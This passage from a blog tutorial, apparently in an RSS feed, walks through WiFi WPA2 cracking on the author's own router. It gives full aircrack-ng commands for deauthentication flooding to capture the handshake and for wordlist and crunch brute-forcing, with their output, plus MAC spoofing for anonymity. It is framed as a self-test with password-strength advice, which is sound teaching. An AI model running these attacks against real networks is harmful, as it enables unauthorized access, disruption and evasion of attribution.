 3383 dhclient
</code></pre><p>We&rsquo;ll need to kill all those processes to prevent any issues. Simply issue <code>kill</code> commands for each process ID. Run <code>airmon-ng check</code> once again to be sure that all is well. We are now ready to scan for access points.</p>
<h2 id="scanning-for-access-points">Scanning for access points</h2>
<p>To run a wireless scan using a particular interface, run the following command:</p>
<pre tabindex="0"><code>$ airodump-ng wlan0
</code></pre><p>Your terminal screen will fill up with something like this:</p>
<pre tabindex="0"><code> CH 10 ][ Elapsed: 0 s ][ 2019-09-27 21:57

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 51:EF:63:2E:47:72  -55        0        0    0   3  -1                    &lt;length:  0&gt;
 7C:B1:DF:B9:12:59  -42        3        0    0   7  130  WPA2 CCMP   PSK  Lower The Rent
 DA:4B:77:1A:84:50  -75        2        0    0   1  195  WPA2 CCMP   PSK  Spectrum
 19:7H:8D:73:97:FE  -77        2        0    0   1  195  WPA2 CCMP   PSK  MyWifi
 DA:F4:AC:DC:31:A7  -75        2        0    0   1  130  WPA2 CCMP   PSK  Home
 19:AD:EF:C4:0A:36  -71        3        0    0   1  195  WPA2 CCMP   PSK  Verizon
 5D:19:32:EA:E0:66  -62        3        0    0   1  360  WPA2 CCMP   PSK  Cali
 F5:10:4E:EA:E0:63  -62        3        0    0   1  360  WPA2 CCMP        &lt;length:  0&gt;
 A2:72:C3:EA:E0:69  -62        3        0    0   1  360  OPN              &lt;length:  0&gt;
 9D:58:61:62:68:21  -63        3        0    0   1  130  WPA2 CCMP   PSK  INTERNET
 ED:3D:D4:64:A4:6C  -79        2        0    0   1   65  WPA2 CCMP   PSK  OfficeJet
 33:B5:E2:92:08:33  -66        4        0    0   9  260  OPN              Test-guest

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 (not associated)   88:D6:CD:88:4C:9D  -47    0 - 1     95        5
 (not associated)   93:1E:44:10:82:3A  -63    0 - 1      0        2
 7C:B1:DF:B9:12:59  49:12:C4:53:EF:4A  -29    0 - 1      0        1
</code></pre><p>You&rsquo;ll see a list of access points and devices associated with each access point. You&rsquo;ll notice there are acronyms above each column. Here&rsquo;s a list of the ones we care about and what they mean:</p>
<ul>
<li>BSSID - MAC Address of the access point</li>
<li>PWR - Strength of the signal. The closer to 0, the better</li>
<li>CH - Channel</li>
<li>ESSID - Name of access point</li>
<li>STATION - Device connected to access point (Laptop, smartphone, etc)</li>
</ul>
<p>Now lets select an access point and run a scan on only that particular device. We&rsquo;ll capture traffic and save it to a file. You&rsquo;ll need to make note of the BSSID and channel of the access point. In my case, my router&rsquo;s ESSID is &ldquo;Lower The Rent&rdquo;. We&rsquo;ll scan it using the following command formula:</p>
<pre tabindex="0"><code>$ airodump-ng -c [channel number] -w [filename for output] --bssid [MAC Address of A.P.] [your interface]
</code></pre><p>In my case, the full command looks like this:</p>
<pre tabindex="0"><code>$ airodump-ng -c 7 -w SCAN_OUTPUT --bssid 7C:B1:DF:B9:12:59 wlan0
</code></pre><p>Here&rsquo;s the output:</p>
<pre tabindex="0"><code> CH  7 ][ Elapsed: 24 s ][ 2019-09-27 22:05

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 7C:B1:DF:B9:12:59  -47 100      231       92    0   7  130  WPA2 CCMP   PSK  Lower The Rent

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 7C:B1:DF:B9:12:59  49:12:C4:53:EF:4A  -31    0e- 1      0      130
</code></pre><p>You&rsquo;ll be able to see the access point and associated devices. This provides a much cleaner look instead of your terminal screen being full of information. We can see that there is a single device associated with the access point.</p>
<p>Now we can commence an attack.</p>
<h2 id="attacking-an-access-point">Attacking an access point</h2>
<p>We&rsquo;ll be flooding the access point with deauthentication frames to keep devices from reconnecting to it. As they try to reconnect, we&rsquo;ll be able to capture the 4-way handshake. This can also be used to simply perform DOS attacks on an access point. Keep in mind you won&rsquo;t be able to capture the handshake if there are no devices associated to the access point. If there are no devices associated, there is nothing conducting the authentication process which you can capture.</p>
<p>While leaving the previous <code>airodump-ng</code> command running in a separate tab or window, open another tab to run the deauthentication command. The command is as follows:</p>
<pre tabindex="0"><code>$ aireplay-ng -0 0 -a 7C:B1:DF:B9:12:59 wlan0
</code></pre><p>The BSSID we specify is that of the access point. It is possible to limit the amount of deauthentication frames to send, but in this case we are sending an infinite amount specified with <code>-0 0</code>.</p>
<p>The output for the <code>aireplay-ng</code> command will look like this:</p>
<pre tabindex="0"><code>03:24:06  Waiting for beacon frame (BSSID: 7C:B1:DF:B9:12:59) on channel 7
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client&#39;s mac&gt;).
03:24:06  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:07  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:07  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:08  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:08  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:09  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:09  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:10  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:10  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:11  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:11  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
03:24:11  Sending DeAuth (code 7) to broadcast -- BSSID: [7C:B1:DF:B9:12:59]
</code></pre><p>Your terminal screen will continue to fill with these messages. Keep the command running until you see a <code>WPA handshake: XX:XX:XX:XX:XX:XX</code> message on the upper right of the first window running the <code>airodump-ng</code> command. That window will look as follows (notice the message on the upper right):</p>
<pre tabindex="0"><code> CH  7 ][ Elapsed: 1 min ][ 2019-09-28 03:25 ][ WPA handshake: 7C:B1:DF:B9:12:59

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 7C:B1:DF:B9:12:59  -44  96      871       96    0   7  130  WPA2 CCMP   PSK  Lower The Rent

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 7C:B1:DF:B9:12:59  49:12:C4:53:EF:4A  -41    1e- 1      0       78
</code></pre><p>If you see the message, you have successfully captured the handshake. The last step left to do now is to crack this handshake and reveal the password in plaintext.</p>
<h2 id="cracking-the-password">Cracking the password</h2>
<p>Recall that we saved our <code>airodump-ng</code> scan to a file named <code>SCAN_OUTPUT</code>. You&rsquo;ll see several files in the directory by the same name, but you&rsquo;ll only need the one with a <code>.cap</code> extension. From here, there are two approaches to cracking the password. You can use a wordlist and see if one of the passwords in the wordlist is the actual password to the access point, or you can opt to use a program that generates passwords and attempts each one (brute forcing).</p>
<p>First, we&rsquo;ll go over the approach using a wordlist. The command to begin cracking using a wordlist is as follows:</p>
<pre tabindex="0"><code>$ aircrack-ng -w wordlist.txt SCAN_OUTPUT.cap
</code></pre><p>In my case, I used a short wordlist of 4800 passwords to try and crack the handshake. I was not able to find the key, but this is what the output will look like:</p>
<pre tabindex="0"><code>                              Aircrack-ng 1.5.2

      [00:00:00] 4800/4799 keys tested (5047.82 k/s)

      Time left: 0 seconds                                     100.02%

                                KEY NOT FOUND

      Master Key     : 8B BB 3C 7A 08 50 43 73 73 BC 27 A0 A0 20 C2 C4
                       F8 82 0E 55 32 29 28 4C 93 CD 4D C0 3E E3 9C 4C

      Transient Key  : DE 14 79 DB 14 3B ED 7A 0D 80 FC DA 67 77 5C 09
                       C7 95 27 0C AC 2A 3B 2B 08 5F B5 22 B5 F6 F7 0F
                       C5 50 68 68 85 00 1E 80 33 1B F8 D9 FE E2 5B F4
                       71 EE D0 87 E4 57 ED 21 2D 66 CC 0B A7 A7 0D 1D

      EAPOL HMAC     : 35 D8 56 95 03 0B DF 6B 48 C4 DE 21 DB 01 7F E7
</code></pre><p>The tool will go through every password in the wordlist and try to crack the access point&rsquo;s password. Wordlists are convenient and can be fast, but if the password is not in the wordlist itself, we&rsquo;ll need to try bruteforcing.</p>
<p>There are likely several tools out there that can generate password combinations, but I used <code>crunch</code>. The formula to feed passwords generated by <code>crunch</code> into <code>aircrack-ng</code> is as follows (notice we need to specify the ESSID this time):</p>
<pre tabindex="0"><code>$ crunch [min password length] [max password length] [characters to use] | aircrack-ng -w - [filename.cap] -e [ESSID]
</code></pre><p>I already know the length of the password to my own router. My full command looks like this:</p>
<pre tabindex="0"><code>$ crunch 14 14 abcdefghijklmnopqrstuvwxyz1234567890 | aircrack-ng -w - SCAN_OUTPUT.cap -e Lower\ The\ Rent
</code></pre><p>This will be very slow, as the program will attempt every 14-character letter and number combination possible.</p>
<p>In my case, my router has the default password of <code>pinkcoconut165</code>. With this knowledge, I can specify further. Instead of attempting a random mix of letters and numbers, I can test for a specific arrangement of letters/numbers. Obviously, this would not be known if we were attacking a completely unknown access point, but I want to demonstrate what a successful crack looks like. Using the <code>-t</code> option we can specify a pattern. Here&rsquo;s the description from the <code>man</code> page:</p>
<pre tabindex="0"><code>-t @,%^
      Specifies a pattern, eg: @@god@@@@ where the only the @&#39;s, ,&#39;s, %&#39;s, and ^&#39;s will change.
      @ will insert lower case characters
      , will insert upper case characters
      % will insert numbers
      ^ will insert symbols
</code></pre><p>With this flag, we can modify our command as follows:</p>
<pre tabindex="0"><code>$ crunch 14 14 -t @@@@@@@@@@@%%%  | aircrack-ng -w - SCAN_OUTPUT.cap -e Lower\ The\ Rent
</code></pre><p>This will still take long, however, due to the length of the password. Let&rsquo;s cheat a little bit just to show the success screen. Here&rsquo;s the new command where we will type in the letters of the password and only try to guess the remaining digits:</p>
<pre tabindex="0"><code>crunch 14 14 -t pinkcoconut%%% | aircrack-ng -w - SCAN_OUTPUT.cap -e Lower\ The\ Rent
</code></pre><p>Success! The password has been found:</p>
<pre tabindex="0"><code>                              Aircrack-ng 1.5.2


                   [00:00:03] 842 keys tested (262.68 k/s)


                        KEY FOUND! [ pinkcoconut165 ]


      Master Key     : 1C 7E B9 AE 6E 96 C3 29 A1 CC 8F 70 CE 3D 41 46
                       6A 02 A6 A3 82 E8 19 D8 34 12 E2 62 A6 79 8B C7

      Transient Key  : C1 FA BC A8 1E 15 B9 3F 7C 59 AA 00 8D 6F 9A C1
                       F8 D6 F2 A1 BB 8A 0F 71 05 D1 C0 89 88 34 04 CC
                       5A 10 EF FF 77 08 13 EF CA 8B 10 53 31 5E 65 20
                       A9 A8 25 7A 37 AA A8 A4 BD 67 6F E4 F9 36 14 C4

      EAPOL HMAC     : 92 FB C9 F7 B9 1B 60 B1 82 9B 90 BA 03 EF E4 83
</code></pre><h2 id="additional-tips">Additional Tips</h2>
<h3 id="changing-your-mac-address">Changing Your MAC Address</h3>
<p>If you want to stay as anonymous as possible, you can change your MAC Address before attempting any of this. You can easily do this using a tool like <code>macchanger</code>. The following command will assign a randomized MAC address to the <code>wlan0</code> interface:</p>
<pre tabindex="0"><code>$ macchanger -r wlan0
</code></pre><p>We can be more clever and use a MAC address from a known company. The first 3 bytes of a MAC address are known as the Organizationally Unique Identifier (OUI) and can identify the manufacturer. For example, some of Dell&rsquo;s devices have the first 3 bytes as <code>F8:DB:88</code>. The last 3 bytes can be anything, as long as it is within the range of A-F and 0-9 (hexadecimal values).</p>
<p>We can specify a MAC address with the following command:</p>
<pre tabindex="0"><code>$ macchanger -m f8:d8:88:64:fd:c7 wlan0
</code></pre><p>On macOS you can change the MAC address of an interface to one of your choosing with the following command:</p>
<pre tabindex="0"><code>$ sudo ifconfig wlan0 ether f8-db-88-e4-94-5d
</code></pre><p>Using this knowledge of MAC Addresses, we can also determine the manufacturers of the access points we scan. We can look up the MAC addresses, figure out the manufacturer, and see if there are other vulnerabilities with specific device models. Maybe we&rsquo;ll discover their formula for default passwords (which lots of people never change) to be, say, a combination of 5 letters and 5 numbers, which can help us crack the password. Any hint helps. Additionally, default ESSID names, such as &ldquo;NETGEAR23-2G&rdquo;, could mean that the user never changed the default password either ;).</p>
<h3 id="password-lists">Password Lists</h3>
<p>Password lists are often used in password cracking to speed up the process. Instead of trying every possible combination of characters, we can try our luck using leaked passwords from one of these lists. A good place to find passwords lists and more is the 

<a href="https://github.com/danielmiessler/SecLists" target="_blank" rel="noopener">SecLists GitHub repo</a>. To start off, I suggest trying one of the 

<a href="https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials" target="_blank" rel="noopener">&ldquo;Common Credentials&rdquo; lists</a>.</p>
<p>Password lists can be used along with the <code>crunch</code> tool we used earlier. <code>crunch</code> has much more functionality that I did not dive into. I encourage you to read through the <code>man</code> pages and learn more about it. It&rsquo;s versatile but still easy to pick up.</p>
<h2 id="conclusions">Conclusions</h2>
<p>In this post I covered how to use <code>aircrack-ng</code> to scan for nearby access points, capture the 4-way handshake by sending spoofed deauthentication packets, and crack the hash using <code>crunch</code>. Once again, only try this on devices you own!</p>
<p>Scanning for wifi networks and acquiring handshakes is not too difficult. Anyone with some command line experience can achieve this. The hardest part will be cracking the password itself due to processing power required.</p>
<p>This is an example of why long passwords are important. It is not enough to add symbols to a short password. In fact, it is better to get into the habit of creating pass-<em>phrases</em> as opposed to pass-<em>words</em>. A combination of words with lowercase and capital letters in addition so symbols will be more secure than a single word with symbols. In other words, <code>!ThisIsALongPassword123?</code> is much harder to crack than <code>Password123?</code></p>
<p>There are other tools that we could have used to crack the password, such as <code>hashcat</code>. If I&rsquo;m not mistaken, <code>hashcat</code> can take advantage of a GPU which will allow you to crack passwords much faster. However, I wanted to focus on the tools that come with the <code>aircrack-ng</code> suite.</p>
<p>This concludes my wifi hacking notes, I hope you learned something!</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
